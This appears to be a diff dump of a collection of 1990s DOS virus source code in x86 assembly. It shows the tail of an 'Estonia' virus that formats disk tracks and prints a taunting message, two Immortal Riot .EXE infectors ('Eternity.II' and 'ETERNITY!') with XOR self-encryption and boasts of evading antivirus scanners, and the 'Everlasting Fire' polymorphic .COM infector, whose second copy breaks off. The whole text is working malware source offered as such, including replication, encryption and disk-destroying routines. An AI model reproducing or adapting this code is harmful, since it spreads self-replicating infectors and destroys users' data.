xor dh,dh ; Clear DH
|
||||
mov dl,al
|
||||
int 13h ; Do it! (disk)
|
||||
inc al ; Increase AL
|
||||
pop cx ; Load CX from stack
|
||||
loop formattrack
|
||||
|
||||
mov ah,09h ; Standard output string
|
||||
lea dx,message ; DX = offset of message
|
||||
int 21h ; Do it!
|
||||
|
||||
int 20h ; Exit to DOS!
|
||||
dontsink:
|
||||
mov ah,4ah ; Modify memory allocation
|
||||
mov bx,1000h ; The new block size is 65535 bytes
|
||||
int 21h ; Do it!
|
||||
jc virusexit ; Error? Jump to vitusexit
|
||||
|
||||
mov ah,1ah ; Set disk transfer address
|
||||
lea dx,[bp+dtaoffset] ; DX = offset of new DTA
|
||||
int 21h ; Do it!
|
||||
|
||||
mov ah,4eh ; Find first matching file
|
||||
mov cx,22h ; File attribute hidden+archive
|
||||
lea dx,[bp+filespec] ; DX = offset of filespec
|
||||
findnext:
|
||||
int 21h ; Do it!
|
||||
jnc infect ; No error? Jump to infect
|
||||
virusexit:
|
||||
mov ah,1ah ; Set disk transfer address
|
||||
mov dx,80h ; DX = offset of default DTA
|
||||
int 21h ; Do it!
|
||||
|
||||
mov di,100h ; DI = beginning of code
|
||||
lea si,[bp+realcode] ; SI = offset of realcode
|
||||
push di ; Restore Instruction Pointer (IP)
|
||||
movsw ; Move the real code to the beginning
|
||||
movsw ; " " " " " " "
|
||||
movsb ; " " " " " " "
|
||||
ret ; Return!
|
||||
setfileinfo:
|
||||
mov cx,[bp+filetime] ; CX = file time in DTA
|
||||
mov dx,[bp+filedate] ; DX = file date in DTA
|
||||
mov ax,5701h ; Set file data and time
|
||||
int 21h ; Do it!
|
||||
closefile:
|
||||
mov ah,3eh ; Close file
|
||||
int 21h ; Do it!
|
||||
mov ah,4fh ; Find next matching file
|
||||
jmp short findnext
|
||||
infect:
|
||||
mov cx,virussize ; Move 400 bytes
|
||||
lea di,[bp+extracopy] ; DI = offset of extracopy
|
||||
lea si,[bp+code] ; SI = offset of code
|
||||
rep movsb ; Create an extra copy of virus
|
||||
|
||||
mov ax,3d02h ; Open file (read/write)
|
||||
lea dx,[bp+filename] ; DX = offset of filename in DTA
|
||||
int 21h ; Do it!
|
||||
jc closefile ; Error? Jump to closefile
|
||||
xchg ax,bx ; Exchange AX with BX
|
||||
|
||||
mov ax,word ptr [bp+filesize]
|
||||
cmp ax,05h ; AX = 5? (AX < 5)
|
||||
jb closefile ; Less? Jump to closefile
|
||||
cmp ax,(65535-memsize) ; AX = 64432? (AX > 64432)
|
||||
ja closefile ; Greater? Jump to closefile
|
||||
|
||||
sub ax,03h ; AX = offset of virus code
|
||||
mov [bp+offset estoniacode+01h],ax
|
||||
|
||||
mov ah,3fh ; Read from file
|
||||
mov cx,05h ; Read 5 bytes
|
||||
lea dx,[bp+virussize+realcode]
|
||||
int 21h ; Do it!
|
||||
|
||||
cmp [bp+virussize+offset realcode+03h],'SE'
|
||||
je closefile ; Infected? Jump to closefile
|
||||
|
||||
lea di,[bp+virussize+cryptvalues]
|
||||
in ax,40h ; AX = port 40h
|
||||
stosw ; Store AX in crypt values
|
||||
in ax,40h ; AX = port 40h
|
||||
stosw ; Store AX in crypt value
|
||||
|
||||
push bx ; Save BX at stack
|
||||
lea bx,[bp+virussize+crypted]
|
||||
mov cx,02h ; Transpose 2 times
|
||||
mov dx,cryptsize ; Encrypt 350 bytes
|
||||
ennexttime:
|
||||
push cx ; Save CX at stack
|
||||
mov cx,dx ; CX = size of plain code
|
||||
mov di,bx ; DI = offset of plain code
|
||||
mov si,bx ; SI = offset of plain code
|
||||
inc di ; Increase DI
|
||||
ennextbyte:
|
||||
lodsw ; Load 2 plain bytes
|
||||
add al,ah ; Add AH to AL
|
||||
stosb ; Store a encrypted byte
|
||||
dec si ; Decrease SI
|
||||
loop ennextbyte
|
||||
add [bx],al ; Add AL to plain byte
|
||||
pop cx ; Load CX from stack
|
||||
loop ennexttime
|
||||
pop bx ; Load BX from stack
|
||||
|
||||
mov ax,4202h ; Move file pointer to the end
|
||||
xor cx,cx ; Clear CX
|
||||
cwd ; Convert word to doubleword
|
||||
int 21h ; Do it!
|
||||
|
||||
mov ah,40h ; Write to file
|
||||
mov cx,virussize ; Write 400 bytes
|
||||
lea dx,[bp+extracopy] ; DX = offset of extracopy
|
||||
int 21h ; Do it!
|
||||
cmp ax,cx ; Disk full?
|
||||
jne infectdone ; Error? Jump to infectdone
|
||||
|
||||
mov ax,4200h ; Move file pointer to the beginning
|
||||
xor cx,cx ; Clear CX
|
||||
cwd ; Convert word to doubleword
|
||||
int 21h ; Do it!
|
||||
|
||||
mov ah,40h ; Write to file
|
||||
mov cx,05h ; Write 5 bytes
|
||||
lea dx,[bp+estoniacode] ; DX = offset of estoniacode
|
||||
int 21h ; Do it!
|
||||
infectdone:
|
||||
jmp setfileinfo
|
||||
|
||||
cryptvalues db 04h dup(?) ; Cryption values
|
||||
estoniacode db 0e8h,00h,00h,'ES' ; New code of infected file
|
||||
realcode db 0cdh,20h ; Real code of infected file
|
||||
db 03h dup(?)
|
||||
filespec db '*.COM',00h ; File specification
|
||||
message db 'Your drives were ' ; This message will be shown the
|
||||
db 'on the Estonia...' ; 27 / 28. September and then the
|
||||
db ' They DIDN''T sur' ; drives (A-Z) bootsector will
|
||||
db 'vive!!!',0dh,0ah ; look like it is being destroyed!!!
|
||||
db '$'
|
||||
extracopy:
|
||||
|
||||
estonia ends
|
||||
end code
|
||||
@@ -0,0 +1,276 @@
|
||||
; -Eternity.II-
|
||||
; "Created by Immortal Riot's destructive development team"
|
||||
; (c) '94 The Unforgiven/Immortal Riot
|
||||
;
|
||||
; "If this virus survive into eternity, I'll live forever"
|
||||
; or
|
||||
; "Nothing last forever"
|
||||
;
|
||||
; Notes:
|
||||
; F-Prot, Scan, TBAV, Findviru, can't find shits of this virus.
|
||||
;
|
||||
; Disclaimer:
|
||||
; If this virus harms your computer and you kill yourself,
|
||||
; I'll not attend on nor pay for your funeral.
|
||||
;
|
||||
; Dedication:
|
||||
; I dedicate this virus to all members of Dia Psalma for all
|
||||
; the ideoligical inspiration I've gained from listening on
|
||||
; their music as well as talking with them.
|
||||
|
||||
.model tiny
|
||||
.radix 16
|
||||
.code
|
||||
|
||||
Virus_Lenght EQU Virus_End-Virus_Start
|
||||
org 100
|
||||
|
||||
Virus_Start:
|
||||
xchg ax, ax ; A nop to fill out the virus
|
||||
mov ax,0fa01h ; to be exactly 600 bytes!
|
||||
mov dx,5945h
|
||||
int 16h
|
||||
|
||||
call Get_delta ; Get the delta-offset!
|
||||
Get_delta:
|
||||
pop bp
|
||||
sub bp,Get_Delta-Virus_Start
|
||||
|
||||
call encrypt_decrypt ; Decrypt the virus
|
||||
jmp short encryption_start ; then continue..
|
||||
|
||||
write_virus:
|
||||
call encrypt_decrypt ; Encrypt the virus
|
||||
mov ah,40
|
||||
mov cx,Virus_Lenght
|
||||
mov dx,bp
|
||||
int 21
|
||||
call encrypt_decrypt ; Decrypt it again
|
||||
ret
|
||||
|
||||
encryption_value dw 0
|
||||
encrypt_decrypt:
|
||||
lea si,cs:[bp+encryption_start-virus_start]
|
||||
mov cx,(end_of_virus-encryption_start+1)/2
|
||||
mov dx,word ptr cs:[bp+encryption_value-virus_start]
|
||||
|
||||
Xor_LoopY:
|
||||
xor word ptr cs:[si],dx
|
||||
inc si
|
||||
inc si
|
||||
loop Xor_LoopY
|
||||
ret
|
||||
|
||||
encryption_start: ; Heuristic, beat this!
|
||||
mov ax,es
|
||||
add ax,10
|
||||
add ax,cs:[bp+Exe_header-Virus_Start+16]
|
||||
push ax
|
||||
push cs:[bp+Exe_header-Virus_Start+14]
|
||||
|
||||
push ds
|
||||
push cs
|
||||
pop ds
|
||||
|
||||
mov ah,1a ; Set the DTA
|
||||
lea dx,[bp+Own_dta-virus_start]
|
||||
int 21
|
||||
|
||||
One_Percent:
|
||||
mov ah,2ch ; 1%
|
||||
int 21h
|
||||
cmp dl,0
|
||||
jne get_drive
|
||||
|
||||
Cruel: ; God what I hate that
|
||||
mov al,2h ; eskimoe!
|
||||
mov cx,1
|
||||
lea bx,v_name
|
||||
cwd
|
||||
int 26h
|
||||
|
||||
Get_drive: ; Current drive
|
||||
mov ah,19h
|
||||
int 21h
|
||||
cmp al,2 ; A: or B:?
|
||||
jae get_dir
|
||||
jmp restore_dir ; Yep, then don't infect
|
||||
; other files that run!
|
||||
Get_Dir:
|
||||
mov ah,47
|
||||
xor dl,dl
|
||||
lea si,[bp+dir-virus_start]
|
||||
int 21
|
||||
|
||||
Di_Counter:
|
||||
xor di,di ; Infection counter=0
|
||||
; will be inc after each infection!
|
||||
|
||||
_4EH:
|
||||
mov ah,4e ; Bummer..
|
||||
|
||||
Loop_Files:
|
||||
lea dx,[bp+file_match-virus_start]
|
||||
int 21
|
||||
|
||||
jnc clear_attribs ; We did find a file!
|
||||
; Happy Happy, joy joy!
|
||||
Dot_Dott:
|
||||
lea dx,[bp+dot_dot-virus_start] ; Ah, the same old
|
||||
mov ah,3bh ; dot-dot-routine again!
|
||||
int 21h
|
||||
|
||||
jnc not_root ; No error!
|
||||
jmp no_victim_found ; No more files in ..
|
||||
|
||||
not_root:
|
||||
mov ah,4e ; Find first file
|
||||
jmp short Loop_Files ; in the new directory
|
||||
|
||||
Clear_attribs: ; Clear file-attrib
|
||||
mov ax,4301h
|
||||
xor cx,cx
|
||||
lea dx,[bp+own_dta-virus_start+1eh] ; 1eh=filename in DTA-aera
|
||||
int 21h
|
||||
|
||||
Open_File:
|
||||
mov ax,3d02 ; Open file in read/write mode
|
||||
mov dx,Own_dta-Virus_Start+1e ; Yep, it's still 1eh in DTA!
|
||||
add dx,bp ; bummer!
|
||||
int 21
|
||||
|
||||
jnc read_File ; No error, then read the file!
|
||||
jmp cant_open_file ; Hrm?!
|
||||
|
||||
v_name db "Eternity_II" ; Virus name!
|
||||
|
||||
|
||||
Read_File:
|
||||
xchg ax,bx ;File handle in bx
|
||||
|
||||
mov ah,3f ;Read file - 28 bytes
|
||||
mov cx,1c ;to EXE_header (1ch)
|
||||
lea dx,[bp+exe_header-virus_start]
|
||||
int 21
|
||||
|
||||
jnc no_error ; It worked (duh)
|
||||
jmp read_error ; Hrm?!
|
||||
|
||||
no_error:
|
||||
cmp byte ptr ds:[bp+Exe_header-Virus_Start],'M'
|
||||
jnz no_exe
|
||||
cmp word ptr ds:[bp+Exe_header-Virus_Start+12],'RI'
|
||||
jz infected
|
||||
|
||||
mov al,2 ; File pointer
|
||||
call F_Ptr ; to end of file
|
||||
|
||||
push dx
|
||||
push ax
|
||||
|
||||
Random:
|
||||
mov ah,2ch ; Yah. Nearly polymorfic?
|
||||
int 21h ; Oh well :-).
|
||||
add dl,dh
|
||||
jz random
|
||||
mov word ptr cs:[bp+encryption_value-virus_start],dx
|
||||
|
||||
call write_virus ; Write encrypted copy
|
||||
|
||||
mov al,2 ; File pointer to end of file
|
||||
Call F_Ptr
|
||||
|
||||
mov cx,200 ; bummer..
|
||||
div cx
|
||||
inc ax
|
||||
mov word ptr ds:[Exe_header-Virus_Start+2+bp],dx
|
||||
mov word ptr ds:[Exe_header-Virus_Start+4+bp],ax
|
||||
|
||||
pop ax
|
||||
pop dx
|
||||
|
||||
mov cx,10
|
||||
div cx
|
||||
sub ax,word ptr ds:[Exe_header-Virus_Start+8+bp]
|
||||
mov word ptr ds:[Exe_header-Virus_Start+16+bp],ax
|
||||
mov word ptr ds:[Exe_header-Virus_Start+14+bp],dx
|
||||
mov word ptr ds:[Exe_header-Virus_Start+12+bp],'RI'
|
||||
|
||||
mov al,0 ; File pointer to top of file
|
||||
call F_Ptr
|
||||
|
||||
mov ah,40 ; Write header
|
||||
mov cx,1c
|
||||
lea dx,[bp+exe_header-virus_start]
|
||||
int 21
|
||||
|
||||
jc write_error ; Hrm!?
|
||||
|
||||
no_exe:
|
||||
jmp short Restore_Time_Date
|
||||
|
||||
infected: ; Decrease infection counter
|
||||
dec di ; with one
|
||||
|
||||
Restore_Time_Date: ; Nearly stealth?
|
||||
lea si,[bp+own_dta-virus_start+16h] ; Oh well :-).
|
||||
mov cx,word ptr [si]
|
||||
mov dx,word ptr [si+2]
|
||||
mov ax,5701h
|
||||
int 21h
|
||||
|
||||
Close_File: ; Close the file
|
||||
mov ah,3e
|
||||
int 21
|
||||
|
||||
Set_Back_Attribs: ; Stealth-bomber!
|
||||
mov ax,4301h
|
||||
xor ch,ch
|
||||
lea bx,[bp+own_dta-virus_start+15h]
|
||||
mov cl,[bx]
|
||||
lea dx,[bp+own_dta-virus_start+1eh]
|
||||
int 21h
|
||||
|
||||
Sick_or_EXE:
|
||||
mov ah,4f ; 4fh=find next file
|
||||
inc di
|
||||
cmp di,3 ; Infected three files?
|
||||
jae finnished_infection ; Yep!
|
||||
jmp Loop_Files ; Nah!
|
||||
|
||||
F_Ptr: ; Since we're using
|
||||
mov ah,42 ; this routine
|
||||
xor cx,cx ; three times,
|
||||
cwd ; calling this
|
||||
int 21 ; will save us
|
||||
ret ; some bytes
|
||||
|
||||
write_error: ; For no use in this virus,
|
||||
read_error: ; but if something screws
|
||||
cant_open_file: ; up, add 09/i21h functions,
|
||||
no_victim_found: ; and test what didn't work.
|
||||
finnished_infection: ;
|
||||
|
||||
Restore_Dir: ; More stealth..
|
||||
lea dx,[bp+dir-virus_start]
|
||||
mov ah,3bh
|
||||
int 21
|
||||
|
||||
quit: ; Return to original program
|
||||
pop ds
|
||||
retf
|
||||
|
||||
groupdb db "(c) '94 The Unforgiven/Immortal Riot" ; That's moi..
|
||||
|
||||
dot_dot db '..',0 ; Another directory
|
||||
file_match db '*.EXE',0 ; Infect ‚m all!
|
||||
|
||||
Exe_header db 16 DUP(0)
|
||||
dw 0fff0
|
||||
db 4 DUP(0)
|
||||
Own_Dta db 02bh DUP(0)
|
||||
dir db 65 dup (?) ; Really really stupid!
|
||||
|
||||
Virus_End EQU $
|
||||
end_of_virus:
|
||||
end Virus_Start
|
||||
@@ -0,0 +1,251 @@
|
||||
; VirusName : ETERNITY!
|
||||
; Origin : Sweden
|
||||
; Author : The Unforgiven
|
||||
; Date : 15/12/93
|
||||
|
||||
; This is a "mutation", of Tormentor's .EXE lession. It's HIGHLY
|
||||
; modified, and I'd nearly dare to call it a "new" virus. But well,
|
||||
; the infection routine are the same, so I really dunno.
|
||||
|
||||
; Anyway, it's a non-overwriting randomly self encrypted infector
|
||||
; of .EXE programs. It'll infect up to 3 programs each run, and now
|
||||
; it also contain a dot-dot routine for moving directories. This
|
||||
; version have also fixed up the "file attributes", so It will
|
||||
; first clean, then infect, then restore them. It'll after infections
|
||||
; in other the current directory, also return to it's original dir.
|
||||
|
||||
; Since its complex cryptation routine no scanners will find it.
|
||||
; Scan/MSAV/TBAV/FindViru and F-prot can't find shits. TBAVs most
|
||||
; advanced heurtistic scanner will ONLY!, report that the infected
|
||||
; programs got a flexible entry point, ie nothing really! Haha!,
|
||||
; he can suck his dick blue, 9 out of 10 "new" viruses, blah!!!
|
||||
|
||||
; This virus don't have ANY destructive routine at all!, Yes, it's
|
||||
; true! I hope this one will survive into ETERNITY!..Greetings,
|
||||
; must go out to Raver, and Tormentor/DY. Hope you enjoy this code!
|
||||
|
||||
;=============================================================================
|
||||
; **** ETERNITY! ****
|
||||
;=============================================================================
|
||||
|
||||
.model tiny
|
||||
.radix 16
|
||||
.code
|
||||
|
||||
Virus_Lenght EQU Virus_End-Virus_Start ; Lenght of virus.
|
||||
org 100
|
||||
|
||||
Virus_Start: call where_we_are
|
||||
|
||||
where_we_are: pop bp
|
||||
sub bp,where_we_are-Virus_Start
|
||||
|
||||
call encrypt_decrypt
|
||||
jmp encryption_start
|
||||
write_virus:
|
||||
call encrypt_decrypt
|
||||
mov ah,40 ; Write virus to EOF.
|
||||
mov cx,Virus_Lenght
|
||||
mov dx,bp
|
||||
int 21
|
||||
call encrypt_decrypt
|
||||
ret
|
||||
|
||||
encryption_value dw 0
|
||||
encrypt_decrypt:
|
||||
lea si,cs:[bp+encryption_start-virus_start]
|
||||
mov cx,(end_of_virus-encryption_start+1)/2
|
||||
mov dx,word ptr cs:[bp+encryption_value-virus_start]
|
||||
|
||||
again:
|
||||
xor word ptr cs:[si],dx
|
||||
add si,2
|
||||
loop again
|
||||
ret
|
||||
|
||||
|
||||
encryption_start:
|
||||
|
||||
mov ax,es
|
||||
add ax,10
|
||||
add ax,cs:[bp+Exe_header-Virus_Start+16]
|
||||
push ax
|
||||
push cs:[bp+Exe_header-Virus_Start+14]
|
||||
|
||||
push ds
|
||||
push cs
|
||||
pop ds
|
||||
|
||||
mov ah,1a ;SET-DTA
|
||||
lea dx,[bp+Own_dta-virus_start] ;till own_dta
|
||||
int 21
|
||||
|
||||
;Get starting dir
|
||||
mov ah,47
|
||||
xor dl,dl
|
||||
lea si,[bp+dir-virus_start]
|
||||
int 21
|
||||
|
||||
|
||||
;start finding files
|
||||
xor di,di ;infection count
|
||||
|
||||
mov ah,4e ; We start to look for a *.EXE file
|
||||
look4victim: ;mov dx,offset file_match-Virus_Start
|
||||
;add dx,bp
|
||||
lea dx,[bp+file_match-virus_start]
|
||||
int 21
|
||||
|
||||
jnc clear_attribs
|
||||
|
||||
lea dx,[bp+dot_dot-virus_start]
|
||||
mov ah,3bh
|
||||
int 21h
|
||||
jnc not_root
|
||||
jmp no_victim_found
|
||||
not_root:
|
||||
mov ah,4e
|
||||
jmp look4victim
|
||||
; jmp no_victim_found ; If no *.EXE files was found.
|
||||
|
||||
clear_attribs:
|
||||
mov ax,4301h
|
||||
xor cx,cx
|
||||
lea dx,[bp+own_dta-virus_start+1eh]
|
||||
int 21h
|
||||
|
||||
cont2: mov ax,3d02 ;open file
|
||||
mov dx,Own_dta-Virus_Start+1e
|
||||
add dx,bp
|
||||
int 21
|
||||
|
||||
jnc cont1 ;exit if error
|
||||
jmp cant_open_file
|
||||
|
||||
cont1: xchg ax,bx ;handle in bx
|
||||
|
||||
mov ah,3f ;read file - 28 bytes
|
||||
mov cx,1c ;to EXE_header
|
||||
lea dx,[bp+exe_header-virus_start]
|
||||
int 21
|
||||
|
||||
jnc no_error ;exit if error
|
||||
jmp read_error
|
||||
no_error:
|
||||
cmp byte ptr ds:[bp+Exe_header-Virus_Start],'M'
|
||||
jnz no_exe ; !!! Some EXEs starts with ZM !!!
|
||||
cmp word ptr ds:[bp+Exe_header-Virus_Start+12],'RI'
|
||||
jz infected
|
||||
|
||||
mov ax,4202 ; Go EOF
|
||||
xor cx,cx
|
||||
xor dx,dx
|
||||
int 21
|
||||
|
||||
push dx
|
||||
push ax
|
||||
|
||||
mov ah,2ch ; this gets a random
|
||||
int 21h ; encryption value..
|
||||
mov word ptr cs:[bp+encryption_value-virus_start],dx
|
||||
|
||||
call write_virus
|
||||
; mov ah,40 ; Write virus to EOF.
|
||||
; mov cx,Virus_Lenght
|
||||
; mov dx,bp
|
||||
; int 21
|
||||
|
||||
mov ax,4202 ; Get NEW filelenght.
|
||||
xor cx,cx
|
||||
xor dx,dx
|
||||
int 21
|
||||
|
||||
mov cx,200
|
||||
div cx
|
||||
inc ax
|
||||
mov word ptr ds:[Exe_header-Virus_Start+2+bp],dx
|
||||
mov word ptr ds:[Exe_header-Virus_Start+4+bp],ax
|
||||
|
||||
pop ax
|
||||
pop dx
|
||||
|
||||
mov cx,10
|
||||
div cx
|
||||
sub ax,word ptr ds:[Exe_header-Virus_Start+8+bp]
|
||||
mov word ptr ds:[Exe_header-Virus_Start+16+bp],ax
|
||||
mov word ptr ds:[Exe_header-Virus_Start+14+bp],dx
|
||||
|
||||
mov word ptr ds:[Exe_header-Virus_Start+12+bp],'RI'
|
||||
|
||||
mov ax,4200 ; Position file-pointer to BOF
|
||||
xor cx,cx
|
||||
xor dx,dx
|
||||
int 21
|
||||
|
||||
mov ah,40 ; Write header
|
||||
mov cx,1c
|
||||
; mov dx,offset Exe_header-Virus_Start
|
||||
; add dx,bp
|
||||
lea dx,[bp+exe_header-virus_start]
|
||||
int 21
|
||||
|
||||
jc write_error
|
||||
|
||||
no_exe:
|
||||
jmp close_it ;
|
||||
infected:
|
||||
dec di
|
||||
close_it:
|
||||
|
||||
;restore date
|
||||
lea si,[bp+own_dta-virus_start+16h]
|
||||
mov cx,word ptr [si]
|
||||
mov dx,word ptr [si+2]
|
||||
mov ax,5701h
|
||||
int 21h
|
||||
|
||||
mov ah,3e ;close file
|
||||
int 21
|
||||
|
||||
|
||||
; file attrib
|
||||
mov ax,4301h
|
||||
xor ch,ch
|
||||
lea bx,[bp+own_dta-virus_start+15h]
|
||||
mov cl,[bx]
|
||||
lea dx,[bp+own_dta-virus_start+1eh]
|
||||
int 21h
|
||||
|
||||
Sick_or_EXE: mov ah,4f ;find next in dir until all is found
|
||||
inc di
|
||||
cmp di,3
|
||||
jae finnished_infection
|
||||
jmp look4victim
|
||||
|
||||
write_error: ; Here you can test whats went wrong.
|
||||
read_error: ; This is just for debugging purpose.
|
||||
cant_open_file: ; These entries are equal to eachother
|
||||
no_victim_found: ; but could be changed if you need to test something.
|
||||
finnished_infection:
|
||||
|
||||
;restore dir
|
||||
lea dx,[bp+dir-virus_start]
|
||||
mov ah,03bh
|
||||
int 21
|
||||
|
||||
quit:
|
||||
pop ds
|
||||
retf
|
||||
|
||||
note db "[ETERNITY!] (c) '93 The Unforgiven/Immortal Riot "
|
||||
dot_dot db '..',0
|
||||
file_match db '*.EXE',0 ; Files to infect.
|
||||
Exe_header db 16 DUP(0)
|
||||
dw 0fff0 ; Just for this com file.
|
||||
db 4 DUP(0)
|
||||
Own_Dta db 02bh DUP(0)
|
||||
dir db 65 dup (?)
|
||||
|
||||
Virus_End EQU $
|
||||
end_of_virus:
|
||||
end Virus_Start
|
||||
@@ -0,0 +1,231 @@
|
||||
;
|
||||
; Everlasting Fire Virus by John Tardy
|
||||
;
|
||||
|
||||
Org 100h
|
||||
|
||||
Jump: Jmp Virus
|
||||
|
||||
Decr:
|
||||
Instr: db 'Generation'
|
||||
Loopje DB 0e2h
|
||||
db 0fah
|
||||
DecrLen Equ $-Decr
|
||||
Crypt:
|
||||
Virus: Push Ax
|
||||
Call GetOfs
|
||||
GetOfs: Pop Ax
|
||||
Sub Ax,GetOfs
|
||||
Mov Bp,Ax
|
||||
|
||||
Lea Si,OrgPrg[BP]
|
||||
Mov Di,100h
|
||||
Movsw
|
||||
Movsb
|
||||
|
||||
Mov Ah,1ah
|
||||
Mov Dx,0f900h
|
||||
Int 21h
|
||||
|
||||
Mov Ah,4eh
|
||||
Search: Lea Dx,FileSpec[BP]
|
||||
Xor Cx,Cx
|
||||
Int 21h
|
||||
Jnc Found
|
||||
|
||||
Ready: Mov Ah,1ah
|
||||
Mov Dx,80h
|
||||
Int 21h
|
||||
|
||||
Mov Bx,100h
|
||||
Pop Ax
|
||||
Push Bx
|
||||
Ret
|
||||
|
||||
Found: Mov Ax,4300h
|
||||
Mov Dx,0f91eh
|
||||
Int 21h
|
||||
|
||||
Push Cx
|
||||
Mov Ax,4301h
|
||||
Xor Cx,Cx
|
||||
Int 21h
|
||||
|
||||
Mov Ax,3d02h
|
||||
Int 21h
|
||||
Mov Bx,5700h
|
||||
Xchg Ax,Bx
|
||||
Int 21h
|
||||
Push Cx
|
||||
Push Dx
|
||||
And Cx,1fh
|
||||
Cmp Cx,1
|
||||
Jne CheckExe
|
||||
Jmp ExeFile
|
||||
|
||||
CheckExe: Mov Ah,3fh
|
||||
Lea Dx,OrgPrg[BP]
|
||||
Mov Cx,3
|
||||
Int 21h
|
||||
Mov Ax,Cs:[OrgPrg][BP]
|
||||
Cmp Ax,'MZ'
|
||||
Je ExeFile
|
||||
Cmp Ax,'ZM'
|
||||
Je ExeFile
|
||||
Pop Dx
|
||||
Pop Cx
|
||||
And Cx,0ffe0h
|
||||
Or Cx,1
|
||||
Push Cx
|
||||
Push Dx
|
||||
|
||||
Infect:
|
||||
Mov Ax,4202h
|
||||
Call FSeek
|
||||
Sub Ax,3
|
||||
Mov Cs:CallPtr[BP]+1,Ax
|
||||
Add Ax,Offset Crypt
|
||||
Mov S_1[Bp+1],Ax
|
||||
Mov S_2[Bp+1],Ax
|
||||
Mov S_3[Bp+4],Ax
|
||||
Mov S_4[Bp+4],Ax
|
||||
Call GenPoly
|
||||
|
||||
Mov Ah,40h
|
||||
Lea Dx,0fa00h
|
||||
Mov Cx,VirLen
|
||||
Int 21h
|
||||
Mov Ax,4200h
|
||||
Call FSeek
|
||||
Mov Ah,40h
|
||||
Lea Dx,CallPtr[BP]
|
||||
Mov Cx,3
|
||||
Int 21h
|
||||
Call Close
|
||||
Jmp Ready
|
||||
|
||||
|
||||
ExeFile: Call Close
|
||||
Mov Ah,4fh
|
||||
Jmp Search
|
||||
FSeek: Xor Cx,Cx
|
||||
Xor Dx,Dx
|
||||
Int 21h
|
||||
Ret
|
||||
|
||||
Close: Pop Si
|
||||
Pop Dx
|
||||
Pop Cx
|
||||
Mov Ax,5701h
|
||||
Int 21h
|
||||
Mov Ah,3eh
|
||||
Int 21h
|
||||
Mov Ax,4301h
|
||||
Pop Cx
|
||||
Mov Dx,0fc1eh
|
||||
Int 21h
|
||||
Push Si
|
||||
Ret
|
||||
|
||||
Db 13,10,'Mourners of a dying world'
|
||||
Db 13,10,'Too late to reconcile'
|
||||
Db 13,10,'Into Everlasting Fire'
|
||||
Db 13,10,'Can''t you see it''s Satan''s world'
|
||||
|
||||
GenPoly: Xor Byte Ptr [Loopje][Bp],2
|
||||
Xor Ax,Ax
|
||||
Mov Es,Ax
|
||||
Mov Ax,Es:[46ch]
|
||||
; Xor Ax,Ax ; DEZE ERUIT!!!
|
||||
Mov Es,Cs
|
||||
Push Ax
|
||||
And Ax,07ffh
|
||||
Add Ax,CryptLen
|
||||
Mov S_1[Bp+4],Ax
|
||||
Mov S_2[Bp+4],Ax
|
||||
Mov S_3[Bp+1],Ax
|
||||
Mov S_4[Bp+1],Ax
|
||||
Doit: Pop Ax
|
||||
Push Ax
|
||||
And Ax,3
|
||||
Shl Ax,1
|
||||
Mov Si,Ax
|
||||
Mov Ax,Word Ptr Table[Si][Bp]
|
||||
Add Ax,Bp
|
||||
Mov Si,Ax
|
||||
Lea Di,Instr[Bp]
|
||||
Movsw
|
||||
Movsw
|
||||
Movsw
|
||||
Movsw
|
||||
Pop Ax
|
||||
Stosb
|
||||
Movsb
|
||||
Mov Dl,Al
|
||||
Lea Si,Decr[BP]
|
||||
Mov Di,0fa00h
|
||||
Mov Cx,DecrLen
|
||||
Rep Movsb
|
||||
Lea Si,Crypt[BP]
|
||||
Mov Cx,CryptLen
|
||||
Encrypt: Lodsb
|
||||
Xor Al,Dl
|
||||
Stosb
|
||||
Loop Encrypt
|
||||
Cmp Dl,0
|
||||
Je Fuckit
|
||||
Ret
|
||||
|
||||
FuckIt: Lea Si,Encr0
|
||||
Mov Di,0fa00h
|
||||
Mov Cx,Encr0Len
|
||||
Rep Movsb
|
||||
Mov Ax,Cs:CallPtr[BP]+1
|
||||
Add Ax,Encr0Len+2
|
||||
Mov Cs:CallPtr[BP]+1,Ax
|
||||
Ret
|
||||
|
||||
DB 'TRIDENT'
|
||||
|
||||
Table DW Offset S_1
|
||||
DW Offset S_2
|
||||
DW Offset S_3
|
||||
DW Offset S_4
|
||||
|
||||
S_1: Lea Si,0
|
||||
Mov Cx,0
|
||||
DB 80h,34h
|
||||
Inc Si
|
||||
S_2: Lea Di,0
|
||||
Mov Cx,0
|
||||
DB 80h,35h
|
||||
Inc Di
|
||||
S_3: Mov Cx,0
|
||||
Lea Si,0
|
||||
DB 80h,34h
|
||||
Inc Si
|
||||
S_4: Mov Cx,0
|
||||
Lea Di,0
|
||||
DB 80h,35h
|
||||
Inc Di
|
||||
|
||||
Encr0 Db 'John Tardy'
|
||||
Encr0Len Equ $-Encr0
|
||||
|
||||
CallPtr Db 0e9h,0,0
|
||||
|
||||
FileSpec Db '*.CoM',0
|
||||
|
||||
OrgPrg: Int 20h
|
||||
Db '!'
|
||||
|
||||
CryptLen Equ $-Crypt
|
||||
|
||||
VirLen Equ $-Decr
|
||||
|
||||
|
||||
|
||||
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> ReMeMbEr WhErE YoU sAw ThIs pHile fIrSt <ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
; ÄÄÄÄÄÄÄÄÄÄÄ> ArReStEd DeVeLoPmEnT +31.77.SeCrEt H/p/A/v/AV/? <ÄÄÄÄÄÄÄÄÄÄÄ
|
||||
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
@@ -0,0 +1,231 @@
|
||||
;
|
||||
; Everlasting Fire Virus by John Tardy
|
||||
;
|
||||
|
||||
Org 100h
|
||||
|
||||
Jump: Jmp Virus
|
||||
|
||||
Decr:
|
||||
Instr: db 'Generation'
|
||||
Loopje DB 0e2h
|
||||
db 0fah
|
||||
DecrLen Equ $-Decr
|
||||
Crypt:
|
||||
Virus: Push Ax
|
||||
Call GetOfs
|
||||
GetOfs: Pop Ax
|
||||
Sub Ax,GetOfs
|
||||
Mov Bp,Ax
|
||||
|
||||
Lea Si,OrgPrg[BP]
|
||||
